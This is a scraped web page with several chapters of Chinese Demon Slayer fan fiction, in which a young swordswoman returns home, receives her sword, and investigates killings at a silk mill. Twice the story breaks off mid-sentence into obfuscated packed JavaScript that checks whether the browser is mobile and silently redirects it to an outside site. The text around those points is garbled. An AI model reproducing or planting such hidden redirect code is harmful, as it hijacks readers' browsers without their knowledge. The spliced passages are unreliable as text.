音叶先看到爷爷,脚步骤然停下,心口猛地一暖,又泛起一丝酸涩。锖兔和义勇停下脚步,三个人呆愣愣地站在原地,望着门口的老人,千言万语都堵在嗓子里说不出来。 他们一步一步地走过去。 鳞泷左近次的目光缓缓扫过三人,落在锖兔缠满绷带的腰腹和义勇脸上未愈的疤痕,良久,又缓缓将目光落在音叶肩头的白布上,看了很久很久。 过了好一阵,他才开口,声音带着一丝压抑的沙哑:“回来就好。” 顿了顿,他轻轻将三个孩子搂入怀中,语气更轻,也更动容:“回来就好。” 音叶的眼眶微微发烫,她从未见过爷爷这副模样,平日里严肃温柔的老人,言语中带着的心疼与哽咽此刻毫不掩饰地流露出来。 “爷爷。”音叶轻轻喊了一声,声音软乎乎的,带着归家的依赖。 鳞泷左近次轻轻点头,转身朝屋里走去,背影依旧沉稳,却少了几分连日的紧绷。 “快进来吃饭吧。” 回到狭雾山的日子,与临行前截然不同。 没有严苛的训练,为了让三个人安心养伤,鳞泷左近次每天都会做满满一桌丰盛的饭菜。今天是热气腾腾的寿喜烧,豆腐鲜嫩,音叶最喜欢蘸着生鸡蛋吃,入口温润。 明天是鲑鱼炖萝卜,大块的鲑鱼炖得酥烂,白萝卜吸饱了鲜美的汤汁,义勇每次都要添两碗米饭。还不忘准备锖兔最爱吃的咖喱饭,从前训练的时候,锖兔总能吃很多碗。 他们什么都不用做,只需要吃饭、睡觉、养伤,享受着久违的安稳。 音叶的肩膀快要好了,她的体质本就愈合得快,再加上鬼杀队给她的特质药膏,不过几日便已收口结痂,几乎看不出伤痕。 锖兔的伤势是三个人里最严重的,却也在日复一日的休养中有所好转,这个闲不住的少年还嚷嚷着继续拿起刀训练,被鳞泷师父驳回了。义勇脸上的疤痕早已结痂,他自己从不在意,倒是宽三郎偶尔会睁开眼,瞥一眼那道疤,又慢悠悠闭上眼打盹。 悠子成天黏在音叶身边,时而落在她肩头蹭来蹭去,叽叽喳喳说跟她聊一些鎹鸦界的趣事。锖兔给那只紧实的鎹鸦取名黑丸,那只总是沉默着的乌鸦虽没什么反应,可下次唤它名字时,总会轻轻应一声。 入夜,月亮在狭雾山浓浓的雾气中摇曳,随着环境的变化忽明忽暗。 音叶和鳞泷左近次并肩坐在门口,望着鳞泷小屋外的景色。 “爷爷。”音叶轻声开口,打破了寂静。 左近次没有说话,只是静静听着。 “我们在山里,遇到了一只很厉害的鬼,”她的声音很轻,带着一丝沉重,她隐去一些不想让左近次知道的事情,“它的实力与我们遇到的鬼都不一样,甚至可以说是远超……” 鳞泷的脊背微微一僵,指尖轻轻攥起。 “它说……它专门隐藏实力,攻击别人,这次……如果不是我和锖兔一起将它斩杀,他可能还会留在那里吃掉那些……那些孩子。” 音叶的话音落下,夜色陷入沉默。月光洒在鳞泷的侧脸上,加深了眼角的皱纹。 “我们把它斩杀了。”音叶补充道,像是在告慰逝者,也像是在安慰师父。 过了很久很久,鳞泷才轻轻应了一声,声音低沉:“嗯。” 只有一个字,却藏着千钧重量。 音叶转过头,望着师父的侧脸,心底泛起一丝心疼:“爷爷,最终选拔这样的事,是不是不太对?把鬼囚禁在山里,让还未成为正式队员的孩子进去厮杀,会死很多人……而且没有明显的保护措施……” “我知道我只是一个刚刚进入鬼杀队的最末级队员,可能没有资格对这个选拔评头论足,但是……但是我仍然认为这个选拔有些不合理……” 她只是最低阶的癸级剑士,人微言轻,可有些话,总该有人说。 鳞泷缓缓转头,看向身边的少女。朦胧的月光落在她清澈的眼眸里,满是善良与坚定。 他沉默片刻,缓缓开口:“我会写信给鬼杀队的主公大人,对他提出你的看法。” 音叶微微一怔。 “但不一定有用,”鳞泷的语气里带着一丝无奈,“主公大人那边,有主公大人的考量。” 音叶轻轻点头,了然于心:“我知道。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17375038|200056||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 两人又静坐了许久,月色温柔,晚风轻拂。 “爷爷。” “嗯。” “您辛苦了!” 鳞泷左近次没有说话,只是轻轻抬手,摸了摸音叶的头发。末了,他说:“快回去睡觉吧,别睡太晚。” 没过几日,锻刀村的刀匠们便踏上了狭雾山。来者两人,都带着滑稽的面具,一位名叫铁穴森钢藏,另一位名叫铁井户。两人身后分别被着细长的布包,一看就是用来装日轮刀用的。在简单地同鳞泷左近次打过招呼之后,两位刀匠便径直来到院子里去找音叶他们。 一见到他们仨个,便笑着开口:“鳞泷大人的徒弟?” 三人齐齐点头。 铁穴森放下布包,轻轻打开。 三把崭新的日轮刀静静被包裹在布料中,刀鞘锃亮,刀柄缠着崭新的鲛皮,在阳光下泛着温润的光泽,是独属于他们的武器。 “你们选的玉钢已经锻成日轮刀了,”铁穴森笑道,“请试试看吧。” 第一把刀被刀匠递给锖兔,少年接过自己的刀,他握紧刀柄,手腕发力,刀刃骤然出鞘,划过一道凌厉的光。刀身在锖兔拔出的一瞬间变了颜色,蓝紫色的光浮现在刀身处。 锖兔望着手中的刀,没有说话,嘴角却微微上扬,藏不住的欣喜。 义勇紧接着接过属于他的刀,他抽刀出鞘,深蓝色的刀身映入眼帘,像是他眼眸的瞳色,沉默而厚重。 他盯着刀身看了很久,才缓缓收刀入鞘,才转身面向铁穴森,语气认真地道谢:“谢谢您。” 音叶最后一个拿到刀。她握住刀柄,轻轻一抽,青色的刀身豁然展现在眼前。淡青如雨后晴空,握在手里沁凉而称手,沉甸甸得满是安心。 “青色。”她轻声呢喃。 铁穴森盯着她的刀,又看向她,眼中带着一丝讶异:“请问您使用的是不是衍生呼吸法?” 音叶一愣:“你怎么知道?” “刀的颜色,”铁穴森笑着解释,“衍生呼吸法的剑士,刀色会与常人不同。” 他顿了顿,语气郑重:“能衍生出呼吸法的剑士,皆是天赋异禀之辈,极有可能成为未来的柱。” 柱——鬼杀队的实力巅峰,最强的剑士。 音叶彻底怔住了,她从来没敢有过成为柱的想法,这对她来说太遥远了,比起这个,她更希望保护好身边的人。 “只是有可能,”铁穴森补充道,“最终能走到哪一步,还要看你自己是否努力。” 音叶回过神,轻轻点头,将刀紧紧握在手里。 义勇站在一旁,静静看着她的刀,忽然开口,语气直白又真诚:“好看。” 音叶抬眸看向他。 义勇指了指那抹淡青,认真道:“这个颜色,好看。” 音叶先是一怔,随即弯起眼角,笑得灿烂:“谢谢。” 拿到日轮刀后,日子归为平静,音叶每天天不亮就拿着属于自己的日轮刀挥刀,午后陪爷爷上山采摘一些野菜,傍晚便和锖兔、义勇围坐在一起吃饭,平淡又温馨。 鳞泷左近次告诉她,能等到他们三人回来,他已心满意足,决定余下的这几年里将不会再收徒弟,更不会将孩子送去最终选拔。 悠子总跟在她身边,时而落在枝头看她练刀,时而飞过来蹭她的脸颊,叽叽喳喳的,给平静的日子添了不少生机。 锖兔的伤势明显好转,已经开始挥刀练习呼吸法,义勇每天都与他一起,两人在院子里挥刀对练,常常练到夕阳西下。 这天,音叶正在院中练刀,风声与刀声交织。 悠子忽然从天际俯冲而下,稳稳落在她肩头,语气急促而清晰:“北北西——北北西——” 音叶的刀骤然停在半空。 “有恶鬼出没,请癸级剑士鳞泷音叶,前往剿灭——” 悠子报完任务,歪着头看向她,等待着她的回应。音叶握着刀,望向北北西的方向,眼神中带着坚定。 她将日轮刀入鞘,转身回屋收拾行李,换上鬼杀队的队服,带一些简单的干粮,还有一把最重要的日轮刀挂在腰间,披上戴着菖蒲花纹、浅青色渐变的羽织准备出发。 推开门走出屋子时,锖兔和义勇已经站在院子门口等她,显然是已经听到了悠子的话。锖兔静静看着她,眸底藏着担忧与信任,义勇站在他身侧,一言不发,却目光灼灼。 鳞泷左近次站在不远处,音叶跟着带路的鎹鸦走出小屋,一路小跑,跑两步后就回头同他们招招手:“我去出任务了……再见!” 锖兔轻轻点头,双手拢在嘴边,大声喊道:“一路平安——千万小心——” 义勇望着她的背影沉默良久,直到背影越来越远,他才跑出院子,站在门口与音叶告别,语气郑重:“音叶!等你回来——” 鳞泷左近次静静看着她,目光里满是牵挂与不舍,但还是伸出手用力摆手向音叶示意。 音叶转身,朝着山外跑去,她回头望去。 三个人全都站在门口,用力挥舞着双臂,给她鼓励,同她告别。 音叶也伸出手回应,随即转身,迈开脚步,朝着北北西的方向奔跑而去。 悠子在她头顶盘旋引路,清脆的声音伴着风声。狭雾山特有的山间草木的清香味扑面而来,青色的刀鞘在腰间轻晃,发出叮当叮当的声响。 18. 频频出事的纺织厂(一) 音叶赶了一天的路,夜晚在悠子的带领下来到了紫藤花之家休息。天蒙蒙亮,就被小鎹鸦琢醒接着赶路。 风掠过耳畔时带着微凉的湿意,音叶埋着头朝前跑着,两侧的鬓角被山里的雾气打湿,贴在脸颊上。 悠子在她头顶时飞时落,黑羽站了雾水,显得有些沉甸甸。这只鬼杀队的鎹鸦每次落稳,都要亲昵地往音叶肩上蹭一蹭,尖细的嗓门在空旷的路上显得格外响亮。 “有鬼出没!有鬼出没!”悠子扑棱着翅膀,“长野县郊外的制丝厂,接连出了人命……死了三个男工,还有两个男工失踪……” 音叶偏头,用手抚摸它凑过来的脑袋:“悠子,说清楚一点。” 悠子在她肩上蹦蹦跳跳,爪子轻轻抓着布料:“厂长说夜里总听见奇怪的声响,工人死状蹊跷,还有人失踪……一口咬定是鬼在作祟!请鬼杀队帮助灭鬼……” 音叶脚步微顿:“就我一个人前去吗?” “鬼杀队派来的任务都是根据等级来的,”悠子理直气壮,张开翅膀,“哪怕真有意外,也要先探查清楚,真要是恶鬼作乱,再发信号叫人增援,不能随便浪费队里的人手。” 音叶没有再多问,只抿紧唇,脚下的速度又快了几分。风灌进衣领,带来远处山林的气息。 长野县的山,与她自小长大的狭雾山全然不同。 这里的山不算高耸,树木也稀疏少见,山却一座连着一座,连绵起伏,像永远没有尽头的土黄色波浪。走在山间的小路上,偶尔能听见远处传来的车马声,更多的时候,只有风吹过草木的沙沙声,沉闷得让人喘不过气。 音叶赶路到一半,迎面遇上几队向北行进的士兵。 他们穿着灰扑扑的制服,背着老旧的步枪,枪身锈迹斑斑,所有人都低着头,步履沉重又匆忙,没有一个人说话,整条路上只剩下整齐划一的脚步声,还有枪托相互碰撞的脆响。 “在打仗呢,”悠子栖在音叶头顶,声音压低了些,“是日俄战争,听说打得很凶,到处都在征兵。” 音叶轻轻点头,目光从士兵们低垂的头顶扫过,没有接话,也没有半分停留。 她是鬼杀队的剑士,如今的使命是斩鬼。她只管往前走,直到夕阳斜斜坠向西山,将天边染成一片暗沉的橘红。 终于,远处出现了一片低矮破旧的厂房。 几根高耸的烟囱直直地戳向天空,吐着浑浊的白烟,轰隆隆的机器声隔着老远就传了过来,震得地面都似有细微的颤动。空气中弥漫着一股潮湿的蚕丝味,空气中还夹杂着铁锈味,刺鼻又沉闷。 厂房门口,一个穿深色西装的矮胖男人正来回踱步,看见音叶的瞬间,立刻堆起满脸笑容,小步快跑着迎了上来。 他的西装熨得不算平整,肚子将衣襟撑得紧绷,脸上的肉挤在一起,眼睛眯成了两条细缝。 “哎呀呀……可算把您盼来了!”厂长搓着双手,语气殷勤得过分,“您就是鬼杀队派来的剑士大人吧?可算来了,可算来了!” 音叶面对这样的热情有些不知所措,但没有表现出来,只好微微颔首当作回应。 “快请进快请进!”厂长连忙侧身让路,伸手做出邀请的姿势,眼睛却不住地上下打量着音叶,语气里带着藏不住的诧异,“真没想到,队里居然派了位姑娘过来……我是说,这么年轻的姑娘,真是辛苦了。” 音叶的脸在听到他这句话时瞬间冷了下来,淡淡地瞥了他一眼,让厂长下意识地闭了嘴。 “厂里的事,邪乎得很啊。”走了几步,厂长又凑上来,刻意压低了声音,可脸上的笑容却半点没少,反而显得格外诡异,“前后死了三个男工,都是半夜里没的,还有另外两个直接失踪,连个影子都找不到。没人看见凶手,也没听见动静,就像凭空消失似的。” 他拍了拍自己圆滚滚的胸口,做出一副心惊胆战的模样:“我这心里头七上八下的,又听说似乎真的有那东西的存在,只好拜托友人找到鬼杀队,不然我这厂子实在是开不下去了。” “所以我想着,队里定然要派个厉害角色来。”厂长又笑起来,眼神里带着几分试探,“结果来了您这样一位……我是说,您看着就气质不凡,肯定十分厉害。” 音叶骤然停下脚步。 厂长也慌忙顿住,脸上的笑容僵在原地,有些不知所措。 “您看,这荒郊野岭的,万一真有恶鬼,您一个人……要不要我再派人去请几位大人过来?”他小心翼翼地问。 “鬼杀队不会在这种地方浪费功夫。” 音叶算是彻底明白了厂长的用意,直视着他,声音平得没有一丝起伏。 厂长的笑容彻底僵住,嘴角抽了抽:“您这话说的……” “鬼杀队之所以能来,是真的发现了鬼的踪迹,”音叶开口,每一个字都清晰有力,“要是这只鬼实力强大,鬼杀队还会再派人过来的。” 厂长张了张嘴,看着眼前这个年纪轻轻的少女,脸上虚伪的笑意终于收了下去,露出几分真实的局促。 “那……那您打算怎么查?” “进厂。”音叶言简意赅。 厂长愣了愣,连忙回过神,连连点头:“行……行!我给您安排个身份,就说是新招的女工,咱们厂女工多,杂七杂八的人也多,最不显眼,最合适不过!” 他说着,又重新堆起笑容,领着音叶往厂区深处走去。 天刚刚破晓,尖锐刺耳的铁哨声便突然划破了长夜的寂静。 音叶跟着厂长走,眼前一片昏暗,她用力眨眨眼,渐渐适应了黑暗里的视线,看到了一排又一排拥挤不堪的大通铺。 这是女工们的宿舍,一间破旧的长屋,挤着几十个人,空气里弥漫着汗味、霉味,还有洗不掉的蚕丝腥味。被褥都是又薄又旧的粗布,很多地方打着补丁,躺下去便能感觉到身下木板的坚硬。 明明那么多人,却没有一个人说话。 身边的女工们一个个麻木地从铺位上爬起来,动作熟练迅速地穿好衣服,眼神空洞,像一具具没有灵魂的木偶,鱼贯着往外走去。没有人抱怨,也没有人交谈,整个长屋里只有衣物摩擦的细碎声响。 音叶默默起身,跟在人群后面。 她将腰间的日轮刀紧了紧,藏在衣摆下方,紧贴小腿,确保劳作时不会被人发现。 厂房内早已热气蒸腾,宛如蒸笼。 一口口巨大的铁锅整齐排列,锅里的水沸腾翻滚,煮着雪白的蚕茧,浓重的白色蒸汽源源不断地往上冒,熏得人眼睛发涩。 数十名女工站在锅边,赤着双手伸进滚烫的水里,一遍遍捞起蚕丝,再缠绕到木架上。 同一个动作,重复千遍万遍,机械又枯燥。 音叶被监工安排在最里面的一口锅旁,位置偏僻,正好方便她暗中观察。 身边的女工侧头看了她一眼,那是一张布满疲惫的脸,手上布满了烫伤与老茧,嘴唇干裂,却什么也没说,只是低下头,继续重复着捞丝的动作。 “手脚都给我快一点!” 身后传来冷硬粗暴的呵斥声。 身后传来监工的声音,他穿着厂里发的工作服,手里攥着一根皮鞭,鞭身泛着冷光,在过道里来回踱步,眼神凶狠地扫过每一个女工。 “订单已经翻了一倍!前方的士兵还等着用这批物资,你们这样子磨磨蹭蹭,是想耽误大事吗!”监工的鞭子狠狠甩在地上,发出啪的一声脆响,“不许停,也不能停!” 没有一个人抬头。 所有人都埋着头,双手在沸水里不停动作,哪怕指尖被烫得通红,哪怕手臂酸痛得发抖,也没有谁敢停下片刻。 音叶学着身边人的样子,缓缓将手伸进沸水里。 灼人的剧痛瞬间顺着指尖窜遍全身,那是比被鬼的利爪划伤更绵长的折磨。她的指尖瞬间泛红,她运用呼吸法,硬生生忍住了缩回双手的冲动,稳稳捞起蚕丝。 时间变得无比漫长。 窗外的天光从早晨的一缕阳光到夜晚的漆黑,厂房里的机器从未停过,女工们的劳作也从未停过。 有个年纪稍大的女工撑不住,眼前一黑,直直倒在了地上。 监工立刻走过去,用鞭子戳了戳她的身体,见人只是晕倒,便不耐烦地叫了两个工人,将人拖了出去。 没过半个时辰,那女工又被拖了回来,脸色惨白,嘴唇没有一丝血色,却还是被推到锅边,继续工作。 “动作麻利点!”监工的声音在厂房里来回回荡,像一句魔咒,“耽误了你们可赔不起!” 音叶不知道自己在厂房里待了多久,只知道日夜交替了一轮又一轮。她的双手很快磨出了密密麻麻的水泡,破了的水泡与蚕丝缠在一起,随后结出薄薄的血痂。 她这么一个不容易受伤的人都被磨上水泡,其他人更不必再说。 就这么过了两天,隔壁铺位的女工,终于主动靠近了音叶。 那是个看起来不过十六七岁的姑娘,有着圆圆的脸蛋,笑起来的时候嘴角会露出两个浅浅的梨涡,很是可爱。 她趁监工不注意,偷偷塞给音叶一个小小的饭团,饭团还带着一丝余温。 “我叫美月,”姑娘压低声音,笑容温柔,“你就睡我旁边的床上对吧?我看你一直在忙,也没怎么吃东西。” 音叶接过饭团,道了声谢,朝她笑笑。 “你可真用心,”美月笑了笑,又往她身边凑了凑,“多吃点,这里的活累得很,要是不吃饱的话,根本撑不下去。明天还要干一整天呢。” 音叶看着她眼底藏不住的疲惫,想要扬起一个笑容,却只能沉默地将饭团攥在了手里。 这是她来到制丝厂后,第一个对她展露善意的人。 那天夜里,音叶没有睡觉,因为她敏锐地听见了身边细微的动静。 隔壁铺位的美月轻轻掀开薄被,小心翼翼地坐起身,赤着脚踩在冰冷的地面上,一步一步、静悄悄地往外走去。 音叶立刻起身,悄无声息地跟了上去。 夜色深沉,月光却格外皎洁,像一层白霜洒在地面上。美月的脚步很快,却始终放轻, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17375039|200056||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 绕过一排排长屋,朝着厂区角落的厕所走去。音叶隐在房屋的阴影里,一动不动,静静看着她的身影消失在厕所门口。 过了片刻,美月走了出来。 可她没有立刻返回宿舍,而是站在厕所旁的阴暗角落里,缓缓从怀里掏出一样东西,低头久久凝视着。 月光落在她圆圆的脸上,照亮了她微微颤抖的肩膀,却看不清她的神情。 音叶先她一步回到铺位,闭上双眼,假装熟睡。 美月躺下来的时候,呼吸微微急促,带着一丝不易察觉的哽咽,过了好一会儿,才渐渐平稳下来,传来轻浅的呼吸声。 不只是隔壁床的美月,入夜后,陆陆续续后人起夜去厕所,诡异地让人怀疑。 下一个夜晚,在美月起身之前,音叶微微侧头,目光落在了美月的枕头底下。 那里藏着一封信,小小的一角露在外面,被月光照得泛白。 那天傍晚,厂房的机器终于提前停了。 比平日里早了仅仅半个时辰,可对于这群早已被劳作榨干力气的女工来说,已经是莫大的恩赐。 大家拖着沉重得像灌了铅的双腿,慢慢往宿舍长屋走去,一路上依旧无人说话,只有疲惫的喘息声。 美月走在音叶身边,脚步虚浮得随时都会倒下,嘴角却依旧微微上扬,带着一丝浅浅的笑意。 “今天怎么这么早呀?”音叶终于主动开口,声音轻轻的。 美月愣了一下,似乎没想到她会主动说话,随即笑了起来:“我也不知道,可能是一批订单赶完了吧,难得能歇一会儿。” 回到宿舍,其他人都瘫倒在铺位上,一动也不想动。 美月却没有躺下,她坐在铺边,小心翼翼地从枕头底下摸出那封信,轻轻翻开,指尖温柔地拂过信纸,眼神专注又温柔。 音叶坐在她身边,知道这时候插不上嘴,于是就安静地看着她。 看了一会儿,美月突然抬起头,将信递到音叶面前,眼睛亮晶晶的:“你看看吧。” 音叶伸手接过。 信纸上的字迹歪歪扭扭,算不上好看,却写得格外认真,一笔一划,都透着小心翼翼的珍视。 是一个男人的笔迹,字里行间说着自己在一切安好,从没有受过伤,让家里人不必担心,让她照顾好自己,不要太过劳累。 “是我未婚夫。”美月轻声说,语气里带着满满的温柔。 音叶将信还给她,淡淡开口:“他去打仗了?” 美月点点头,眼底闪过一丝黯然,却很快又被期待取代:“今年开春被征走的。” 她低头看着信纸,指尖轻轻摩挲着那些熟悉的字迹,慢慢说起了自己的故事。 “我们本来新年就要成亲的,婚帖都发了,家里的东西也都备好了,”美月笑了笑,笑容里带着一丝苦涩,“可征兵令突然下来,村里的年轻男人都要走,他也不例外。” “他走的前一天,还特意跑到我家提亲,”美月的声音放轻,尽管她脸上还有藏不住的疲惫,语气里却依然含有笑意,“他说等他从战场上回来,一定风风光光地过来娶我。” 月光从窗缝里漏进来,落在她柔和的侧脸,将她的影子拉得长长的。 音叶安静地听着,没有说话。 “我等他回来,”美月抬起头,眼神里抱有期待。 “所以我来这里干活,这里工钱比别处高,虽然累一点,可攒钱快。等他回来,我们就租一间小小的屋子,在院子里种些菜,安安稳稳过日子。” 她望着音叶,眼睛里带着一丝忐忑的期待,轻声问:“你说,他什么时候能回来?” 音叶沉默了片刻,她不知道战争何时结束,不知道那个美月的丈夫是生是死。 “不知道。”她如实回答。 美月的眼神微微黯淡了一瞬。 可紧接着,音叶搂住美月,她明明比美月小几岁,却莫名让她觉得踏实:“但你要等的人,肯定会回来的。” 美月伸手,轻轻碰了碰音叶的手臂,声音轻得像耳语:“你真好。” 她将信小心翼翼地折好,放回枕头底下,让枕头彻底盖住信纸。 “睡吧,”美月躺下身,轻声说,“明天还要干活呢。” 音叶默默躺了下去,没过多久,隔壁就传来了美月平稳轻浅的呼吸声,她是真的累极了。 可音叶却毫无睡意。 她睁着眼睛,望着黑暗中粗糙的房梁,一时间感到有些压抑。 她是斩鬼的剑士,斩杀恶鬼是她的职责。 可她却觉得有些人甚至比鬼还要恐怖。 战争打破了人们的安稳,活生生榨干他们的力气,连好好活着、等一个人回家,都成了最奢侈的心愿。 音叶缓缓握紧了藏在被褥里的日轮刀,刀柄被掌心的温度捂得温热。 她不知道这场战争会波及到多少人,也不知道美月的心上人能否能够平安归来。 但她需要找到藏在厂里的恶鬼究竟身在何处。 必须要加快速度了。 19. 频频出事的纺织厂(二) 音叶在纺织厂待了几天,厂子里一片祥和,没有人离奇死亡、失踪。她开始怀疑厂里是否真的有鬼的存在,还是厂长的情报错误。 监工每天都攥着皮鞭,在过道里来回踱步,靴底碾过水泥地的声响,像催命的鼓点。 “手脚都麻利点!要是有人敢偷懒,就鞭子伺候!”他的声音粗粝,混着机器的轰鸣,让人不寒而栗。 只要有人稍作喘息,皮鞭便会带着风声抽过去,落在身上,留下一道鲜红的鞭痕。女工们个个噤若寒蝉,只埋着头,机械地重复手里的动作。 这几天里,音叶并没有忘记本职工作,一直在悄悄留意周遭的一切。她的呼吸法让她对鬼的气息格外敏感,可厂区的每个角落都只有蒸汽和蚕丝的腥气,要么就是女工们身上散不去的汗味与疲惫。 三个男工惨死,两个莫名失踪,厂长言之凿凿是鬼作祟。可她近乎找遍了整个厂区,连半点鬼出没的痕迹都没找到。 蒸汽裹着湿热的风扑在脸上,音叶望着锅里翻涌的白茧,心底慢慢浮起一个念头:或许这根本不是有鬼出没,只是厂里的私人恩怨。 就在她出神的刹那,旁边突然传来一阵粗暴的拉扯声。 音叶猛地抬头,只见一名中年女工被监工揪着头发,狠狠往过道中央拖拽。那名女工身形单薄,穿着洗得发白的工服,脚步踉跄,她吓得浑身发抖,缩在地上,连呼救都发不出。 “让你偷懒!我看你是皮痒了!”监工目露凶光,扬手就将皮鞭高高举起。鞭身泛着冷硬的光,带着破空的风声,马上就要狠狠抽在那名女工的后背上。 音叶几乎是下意识动了。 她自己都没有想到动作会这么快,在皮鞭落下的前一秒,稳稳攥住了鞭子。掌心的水泡被磨破,让她感觉有细微的疼痛,音叶只牢牢抓住那个鞭子,让它纹丝不动。 监工猛地一怔,抬眼瞪着她,眼里满是错愕与怒火:“你……你敢拦我?” 音叶抬眸看他,眼神带着不容置疑的坚定。她没有理会监工的质疑,只是轻轻攥住鞭子,往自己的方向抽过来,才开口:“她没有偷懒,只是手麻了,我看见了。” 监工恼羞成怒,脸涨得通红,脖颈上的青筋暴起。他使劲往回拽鞭子,手臂肌肉紧绷,可无论他怎么用力,鞭子都牢牢握在音叶手里。 “反了你了!一个新来的女工,也敢管老子的事!你知道我是谁吗!” “够了。” 一道轻飘飘的声音从身后传来。厂长慢悠悠走了过来,手里捏着一块手帕,擦着额头的汗。他脸上依旧挂着那副虚伪的笑,可眼底却没半分笑意。 “怎么回事?”他故作温和地问,目光却在音叶和那名女工身上来回打转。 监工立刻松开那名女工的头发,指着音叶,恶人先告状:“厂长!她故意拦着我管教工人,公然挑衅厂规!这要是传出去,以后谁还听我的!” 厂长的目光落在音叶身上,毕竟是人家的地方。音叶缓缓松开鞭子,垂在身侧的手悄悄揉了揉掌心被挤破的水泡,没有多说话。 厂长又看向缩在地上的那名女工。女孩浑身发抖,脸颊印着一道鲜红的指印,嘴唇哆嗦着,喉咙里只挤出细碎的呜咽,连一句完整的话都说不出。 “偷懒了?”厂长问,语气轻飘飘的。 那名女工张了张嘴,泪水顺着脸颊滑落,却还是摇了摇头。 厂长故作惋惜地叹了口气,摇了摇头,轻飘飘落下一句:“加罚两个时辰,晚上补上。” 话音落下,那位女工的脸瞬间惨白如纸,身子一软,几乎瘫倒在地。每日七个时辰的劳作都已经榨干了她所有力气,再加两个时辰,无异于把人往死里逼。 音叶对厂长的话心生反感,上前一步,想要为女工说理:“是他先动手打她。” 厂长笑了笑,语气冷漠,带着一股不容置喙的强势:“打她是管教工人,要不是你拦着,加两个时辰都算是轻的了。” 他拍了拍监工的肩膀,又递了个眼神过去,转身扬长而去,连一个眼神都没留给地上的女工。 监工得意地瞥了音叶一眼,将鞭子往腰里一插,又继续在过道里耀武扬威地踱步,只是路过音叶身边时,脚步顿了顿,眼里多了几分忌惮。 女工们纷纷低下头,不敢再看,只能重新伸手探进沸水,机械地捞起蚕丝。车间里的机器声、捞丝的水声,再次交织在一起,却比之前更沉闷。 音叶蹲下身,轻轻扶起浑身发抖的女工。她尽可能把动作放轻柔,小心翼翼避开对方身上的鞭痕,对她说:“别怕,我扶你回去。” 音叶扶着女工回到自己的位置上,又悄悄从怀里摸出半块温热的饭团,塞到她的手心,低声说:“回头吃点,垫垫肚子。” 那名女工抬头看她,眼里满是感激,却只是点了点头,攥着饭团,低下头,继续干活。 音叶重新将手伸进滚烫的锅里,沸水依旧灼人,可比起掌心轻微的痛感,眼前这些女工的苦难,更让她心口发闷。 她望着满车间麻木劳作的身影,望着窗外渐渐沉下去的夕阳,心底的疑惑,又多了几分。 那天夜里,宿舍里格外嘈杂,音叶久久没能入眠。 耳边传来此起彼伏的脚步声,女工们一个接一个悄悄起身,轻手轻脚地开门又关门,往复不停。 音叶坐起身,裹紧外衣,将日轮刀牢牢攥在手里,悄无声息地跟了出去。 女工们三三两两地朝着厕所的方向走去,她们走到厕所,要不了多久就回来,脸上难有得带着情绪。 音叶躲在长屋墙角的阴影里,看了很长时间。半个时辰过去,至少有二十多个女工去过厕所,频率高得反常。 她绕到厕所后面,仔细地探查了一圈。地面干净,没有血迹、没有腥气,连杂草都长得整齐,什么异常都没有。 可她心里就是觉得有哪里不对,这群连喘气都不敢大声的女工,绝不会在深夜里毫无缘由地反复进出厕所,这背后一定藏着什么她没发现的秘密。 音叶回到长屋,躺回铺位,睁着眼望着黑暗中斑驳的房梁。白日里那名女工惨白的脸、监工凶狠的模样、厂长没有笑意的笑,还有深夜里女工们诡异的举动,在她脑海里反复盘旋,织成一张密不透风的网。 清晨的第一缕微光还没透进长屋,一声凄厉的尖叫,突然划破了厂区的寂静。 “啊……!死人了!他死了!” 音叶瞬间从铺位上弹起,抓起藏在被褥里的日轮刀冲了出去。尖叫声是从厂房里传来的,那尖叫声刺破了清晨的宁静,让她心头一紧。 等她冲到厂房,过道里已经围满了人。有男有女,挤在一起,个个脸色煞白。 而在他们人群中央的地面上,躺着一个早已没有呼吸的人——是监工。 他就倒在昨日他挥鞭要打那名女工的地方,蒸汽还在袅袅升腾,混着一丝淡淡的血腥味,飘在空气中。 音叶拨开人群走进去,蹲下身,仔细查看尸体。 监工圆睁着双眼,表情扭曲到狰狞,嘴巴大张着,他的瞳孔不自然地缩小,临死前似乎看到了极其恐惧的东西,似乎是被活活吓死的。 脖子上有一处致命伤,缠着一道极细极深的勒痕。是蚕丝,丝线紧紧勒着,几乎将他的脖子勒断,伤口处的血早已凝固,触目惊心。 更可怕的是他的手,两只手从手腕处断裂,切口参差不齐,露出惨白的骨头。常用来拿着鞭子的那只手,骨头上嵌着深深的齿痕。 音叶顿时明白了,是鬼。 一个能操控蚕丝、拥有惊人咬合力的鬼,就藏在这座制丝厂里,藏在这些日夜劳作的女工中间。 音叶缓缓站起身,指尖紧紧攥成拳头。她终于明白,前几天的平静,不过是一副做给她看的假象。 厂长从人群后挤进来,看见地上的尸体,脸上的虚伪笑容瞬间挂不住了,他脸上变了好几种颜色,嘴唇哆嗦着,连一句完整的话都说不出:“这、这怎么会……怎么会这样……” 音叶没看他,目光扫过周围瑟瑟发抖的众人,她的眼神依旧坚定。 “大家别怕,”她的声音不大,却带着安定人心的力量,“待在原地,都不要乱跑,也不要再凑到这边来,交给我处理。” 尽管监工离奇死亡,但工作依旧照常进行。 机器轰隆隆地响,沸水依旧翻滚,蚕茧的腥味弥漫在整个车间。可女工们的心都悬在了嗓子眼,没有了监工、个个都压低声音讨论着。 